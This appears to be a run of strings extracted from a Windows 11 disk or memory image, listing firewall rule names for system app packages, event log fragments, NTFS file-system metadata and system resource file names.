@{E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://AppResolverUX/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy-Out-Block @{E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://AppResolverUX/Resources/AppxManifest_DisplayName} @{E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://AppResolverUX/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy-In-Block @{F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE/Resources/AppxManifest_DisplayName} @{F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy-Out-Block @{F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE/Resources/AppxManifest_DisplayName} @{F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE/Resources/AppxManifest_DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-In-Block @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-Out-Block @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-In-Allow-Intranet @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-Out-Allow-Intranet @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-In-Allow-Intranet-Authenticate @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-Out-Allow-Intranet-Authenticate @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-Out-Allow-InternetClient @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy-In-Allow-ServerCapability @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} @{Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.AAD.BrokerPlugin/resources/PackageDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AccountsControl_cw5n1h2txyewy-In-Block @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AccountsControl_cw5n1h2txyewy-Out-Block @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AccountsControl_cw5n1h2txyewy-Out-Allow-InternetClient @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AccountsControl_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} @{Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy?ms-resource://Microsoft.AccountsControl/Resources/DisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AsyncTextService_8wekyb3d8bbwe-In-Block @{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName} @{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName} C:\WINDOWS\System32\svchost.exe Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/Firewall Microsoft.AsyncTextService_8wekyb3d8bbwe-Out-Block @{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational EventData Data ScenarioId InstanceId OriginalActivityId DiagnosticModuleImageName DiagnosticModuleId %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational ScenarioId InstanceId OriginalActivityId DiagnosticModuleImageName ResolutionId ResolutionSID ResolutionSessionId ResolutionExpirationDate DiagnosticModuleId %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radarrs.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radarrs.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %WINDIR%\SYSTEM32\DXGWDI.DLL Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %WINDIR%\SYSTEM32\DXGWDI.DLL Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %WINDIR%\SYSTEM32\DXGWDI.DLL Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %WINDIR%\SYSTEM32\DXGWDI.DLL Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %WINDIR%\SYSTEM32\DXGWDI.DLL Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radarrs.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radarrs.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %windir%\system32\radardt.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll Microsoft-Windows-Diagnosis-DPS Microsoft-Windows-Diagnosis-DPS/Operational %SystemRoot%\system32\diagperf.dll ie4uinit.exe $DSC $DSC IE4USH~1.EXE ie4ushowIE.exe $DSC $DSC IE4USH~1.EXE ie4ushowIE.exe ie4ushowIE.exe WofCompressedData $DSC +copilot_overlay_images_200_percent.pak.DATA0 COPILO~2.PAK copilot_overlay_images_200_percent.pak vds.mfl vdswmi.dll.mui vss.mfl vsswmi.dll.muiu wbemcntl.dll.mui wbemcore.dll.mui WdacWmiProv.Dll.mui whqlprov.mfl wininit.mfl WinMgmt.exe.mui WmiApRpl.dll.mui wmiutils.dll.mui wscenter.mfl wsp_fs.mfln wsp_fs_uninstall.mflr wsp_health.mfln wsp_health_uninstall.mfl wsp_sr.mfln wsp_sr_uninstall.mfl xwizards.mfl xwizards.mfl xwizards.mfl imapi2fs.dll.mui` inetres.dll.mui InkObjCore.dll.mui inseng.dll.muii InstallService.dll.mui iologmsg.dll.mui isoburn.exe.mui iyuv_32.dll.mui joy.cpl.mui jscript.dll.mui jscript9.dll.mui` l2nacp.dll.mui Licenses licmgr10.dll.mui lipeula.rtf localsec.dll.mui LockAppBroker.dll.mui lpeula.rtf. mapi32.dll.muiu .mui MCCSEngineShared.dll.mui mciavi32.dll.muif mdminst.dll.mui MessagingDataModel2.dll.mui mi.dll.muil mibincodec.dll.mui mimofcodec.dll.mui miutils.dll.mui msftedit.dll.mui msxml3r.dll.mui msxml6r.dll.mui ncpa.cpl.muimui neth.dll.muimui netsh.exe.muiui netshell.dll.mui azman.mscl. azroleui.dll.mui BWContextHandler.dll.mui cdosys.dll.muim charmap.exe.mui cic.dll.mui CloudNotifications.exe.mui cmcfg32.dll.mui cmdl32.exe.muiu cmlua.dll.muimu cmmon32.exe.mui cmstp.exe.muimu cmstplua.dll.muii cmutil.dll.muiu comctl32.dll.muii comexp.msc. compmgmt.mscuim connect.dll.mui avifil32.dll.mui^ dabapi.dll.muim dot3cfg.dll.mui explorer.exe.mui imapi2.dll.mui mapistub.dll.mui msacm32.drv.mui Ninput.dll.muii portabledevicestatus.dll.muil.m "RemoveDeviceContextHandler.dll.mui serwvdrv.dll.muiX sxs.dll.mui termmgr.dll.mui WABSyncProvider.dll.mui Windows.Gaming.Input.dll.mui wlandlg.dll.mui MbaeApi.dll.mui MCCSEngineShared.dll.mui mciavi32.dll.muif mdminst.dll.mui MessagingDataModel2.dll.mui MFC40.dll.mui MFC40u.dll.mui mi.dll.muil mibincodec.dll.mui Microsoft.Uev.AppAgent.dll.mui miguiresource.dll.mui mimofcodec.dll.mui miutils.dll.mui mmc.exe.mui mmcbase.dll.mui mmcndmgr.dll.mui mmcshext.dll.mui modemui.dll.mui mscpxl32.dll.mui MsCtfMonitor.dll.mui msdrm.dll.muimu msfeedsbs.dll.mui msftedit.dll.mui mshta.exe.muiui mshtmler.dll.mui msjint40.dll.mui msmpeg2enc.dll.mui msoert2.dll.mui msxml3r.dll.mui msxml6r.dll.mui ncpa.cpl.muimui neth.dll.muimui netsh.exe.muiui netshell.dll.mui mscpxl32.dll.mui MsCtfMonitor.dll.mui msdrm.dll.muimu msfeedsbs.dll.mui msftedit.dll.mui mshta.exe.muiui mshtmler.dll.mui msjint40.dll.mui msmpeg2enc.dll.mui msoert2.dll.mui msorc32r.dll.mui msscript.ocx.mui mstask.dll.muii msvfw32.dll.mui msvidc32.dll.mui mswstr10.dll.mui msxml3r.dll.mui msxml6r.dll.mui mycomput.dll.mui NcdProp.dll.mui ncpa.cpl.muimui netcenter.dll.mui netdiagfx.dll.mui neth.dll.muimui netid.dll.muiui netsh.exe.muiui netshell.dll.mui NetworkExplorer.dll.mui NetworkHelper.dll.mui NetworkItemFactory.dll.mui TetheringService.dll.mui` themecpl.dll.mui themeui.dll.mui tsgqec.dll.muiu TtlsAuth.dll.mui TtlsCfg.dll.mui twext.dll.muiii twinapi.dll.mui twinui.appcore.dll.mui uicom.dll.muiii UIRibbon.dll.mui urlmon.dll.muii user32.dll.muii UserDeviceRegistration.dll.mui "UserDeviceRegistration.Ngc.dll.mui vfwwdm32.dll.mui WABSyncProvider.dll.mui wavemsp.dll.mui wcncsvc.dll.mui wcnwiz.dll.mui WebcamUi.dll.mui webcheck.dll.mui wecsvc.dll.mui wecutil.exe.mui wevtfwd.dll.mui wextract.exe.mui WF.msci wiadss.dll.muii wimgapi.dll.mui winsrv.dll.mui wlanutil.dll.mui wldap32.dll.mui wmiprop.dll.mui wmitomi.dll.mui $Windows.Graphics.Printing.3D.dll.mui 2Windows.Internal.SecurityMitigationsBroker.dll.mui $Windows.Networking.Proximity.dll.mui 'Windows.Storage.ApplicationData.dll.mui )Windows.System.Profile.HardwareId.dll.mui Windows.UI.Input.Inking.dll.mui windows.ui.xaml.dll.mui winmsipc.dll.mui Winrs.exe.muii WinSATAPI.dll.mui winsrv.dll.mui winver.exe.muiu Wisp.dll.mui.mu wlanapi.dll.mui wlandlg.dll.mui wlanext.exe.mui wlangpui.dll.mui wlanpref.dll.mui wlansvc.dll.mui wlanui.dll.muiu wlanutil.dll.mui wldap32.dll.mui wlgpclnt.dll.mui wmiprop.dll.mui wmitomi.dll.mui wshext.dll.mui WsmRes.dll.mui WsmSvc.dll.mui WWAApi.dll.mui WWAHost.exe.mui XInput1_4.dll.mui XInput9_1_0.dll.mui wlanext.exe.mui wlangpui.dll.mui wlanpref.dll.mui wlansvc.dll.mui wlanui.dll.muiu wlanutil.dll.mui wldap32.dll.mui wlgpclnt.dll.mui wmiprop.dll.mui wmitomi.dll.mui wshext.dll.mui WsmRes.dll.mui WsmSvc.dll.mui WWAApi.dll.mui WWAHost.exe.mui XInput1_4.dll.mui XInput9_1_0.dll.mui xwizard.exe.mui xwizards.dll.mui xwtpdui.dll.mui xwtpw32.dll.mui 2cc80dabc69f58b6_0 2cc80dabc69f58b6_1 2CC80D~1 2CC80D~2 4cb013792b196a35_0 4cb013792b196a35_1 4CB013~1 4CB013~2 index index-dir INDEX-~1 MI1788~1.WIN Microsoft.UI.winmd Microsoft.UI.winmd WofCompressedData $DSC MICROS~3.WIN Microsoft.UI.winmd WofCompressedData MI1788~1.WIN Microsoft.UI.winmd Microsoft.UI.winmd WofCompressedData $DSC CL6BB5~1.ETL CldFlt0-2026-02-24-080700.etlgz MIA7D1~1.WIN Microsoft.UI.Text.winmd0 Microsoft.UI.Text.winmd WofCompressedData $DSC MIA7D1~1.WIN Microsoft.UI.Text.winmd0 Microsoft.UI.Text.winmd WofCompressedData $DSC MICROS~4.WIN Microsoft.UI.Text.winmd WofCompressedData SYE911~1.ODL SyncEngine-2026-02-24.0759.3664.2.odlgz MID3E5~1.WIN Microsoft.UI.Xaml.winmd0 Microsoft.UI.Xaml.winmd WofCompressedData $DSC STANDA~2.LOG StandaloneUpdate_2026-02-24_080424_2216-3908.loggz SY49E8~1.ODL SyncEngine-2026-02-24.0806.5016.1.odlgz APPXTY~1.TMP APPX.tyw2oku5iyym6ec0q_4ljzflb.tmp Containers-ApplicationGuard-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.mum CO89CA~1.MUM Containers-Client-Guest-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.mum COA7B5~1.MUM wecsvc.dll.mui WECSVC~1.MUI wecsvc.dll.mui wecsvc.dll.mui WofCompressedData $DSC Containers-Client-Guest-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.mum CO55D3~1.MUM WofCompressedData $DSC PEERDI~2.DLL PeerDistCleaner.dll $DSC PEERDI~3.DLL PeerDistHttpTrans.dll PeerDistHttpTrans.dll WofCompressedData $DSC PEERDI~4.DLL PeerDistSvc.dll0 PeerDistSvc.dll WofCompressedData $DSC PEE650~1.DLL PeerDistWSDDiscoProv.dll PeerDistWSDDiscoProv.dll WofCompressedData $DSC SCROLL~1 ScrollablePane $I300 $I30 $I30 ScrollablePane.base.js ScrollablePane.js ScrollablePane.scss.js SEARCH~1 SearchBox $I300 $I30 $I30 SearchBox.base.js SearchBox.js SearchBox.styles.js RUA7F5~1.PF0 RUNTIMEBROKER.EXE-3E0B5307.pf DE4DF2~1.XML DesktopBaselessCompDB_pl-PL.CompDB.xml MICROS~1.MET microsoft.system.package.metadata $I300 00AF3F~1 00af3f07b5abb71f6d30337e1eef62fa280f06ef19485c0cf6b72171f92ccc0a LOGOIM~1 LogoImages $I300 OneDriveMedTile.contrast-black_scale-400.png OneDriveSmallTile.contrast-black_scale-150.png $I30 $I30 RUF806~1.PF0 RUNTIMEBROKER.EXE-ACF4B348.pf MICROS~1.XAM Microsoft.UI.Xaml $I300 Assets Assets $I300 map.htmlet_ MAP~1.HTMt_ NoiseAsset_256x256_PNG.png logs $I300 Common ListSync Personal MSIX $I300 $I30 $I30 main_license.xml MAIN_L~1.XML MAIN~1.MSI Singleton.msix SINGLE~1.MSI HY5A73~1.MUM HyperV-VmBus-VirtualDevice-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.mum WsmRes.dll.mui WSMRES~1.MUI WsmRes.dll.mui WsmRes.dll.mui WofCompressedData $DSC HY0770~1.MUM HyperV-VmBus-VirtualDevice-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.mum WsmSvc.dll.mui WSMSVC~1.MUI WsmSvc.dll.mui WsmSvc.dll.mui WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/FirewallDiagnostics EventData $FwThreadWaitTimeAndHoldTimeForFwLock Data callersAppCommandLine callerFunctionName threadWaitAndLockHoldTimeMs fwLockHoldTimeMs MPSSVC RenderingInfo Culture $FwThreadWaitTimeAndHoldTimeForFwLock Microsoft.Windows.Firewall Keyword Message FwThreadWaitTimeAndHoldTimeForFwLock callersAppCommandLine: MPSSVC, callerFunctionName: FwProfileMgrUpdateCachedPolicy, threadWaitAndLockHoldTimeMs: 7594, fwLockHoldTimeMs: 7594 Microsoft-Windows-Windows Firewall With Advanced Security Microsoft-Windows-Windows Firewall With Advanced Security/FirewallDiagnostics MPSSVC mprddm.dll.mui MPRDDM~1.MUI mprddm.dll.mui WofCompressedData $DSC MPRDIM~1.MUI mprdim.dll.mui $DSC AMC05F~1.MUI amd64_microsoft-windows-rasserver.resources_31bf3856ad364e35_10.0.26100.6899_en-us_16dff2e66c5b45b2_mprdim.dll.mui_11b5ef08 $DSC mprdim.dll.mui MPRDIM~1.MUI mprdim.dll.mui $DSC STANDA~1.LOG StandaloneUpdate_2026-02-24_080424_2216-3908.log -StoreAppList.targetsize-24_contrast-black.png >StoreAppList.targetsize-24_altform-unplated_contrast-black.png XLTXSC~3.PNG xltx.scale-400.png xltx.scale-400.png xltx.scale-400.png $DSC StoreBadgeLogo.scale-100_contrast-white.png >StoreAppList.targetsize-24_altform-unplated_contrast-white.png STANDA~2.LOG StandaloneUpdate_2026-02-24_080424_6800-3884.log CODEBA~1.BAC confCons.xml.20260224-0904244354.backup xml.scale-200.png XMLSCA~2.PNG xml.scale-200.png xml.scale-200.png $DSC xml.scale-200.png xml.scale-200.png XMLSCA~1.PNG xml.scale-200.png $DSC appxblockmap.xmlx appxmanifest.xmlx appxsignature.p7x Assets HardwareKeyboardUX.dll InputApp InputApp.dllT microsoft.system.package.metadata MICROS~1.MET\ pris resources.priX. SmartActionsUX.dll TextInput TextInput.CarbonDictation.dll TextInput.DictationUI.dll TextInput.dll TextInputCommon.dll TextInputExtensions.dll TextInputHost.exeta TextInputLayoutData.dll TEXTIN~1 TouchKeyboardUX.dll 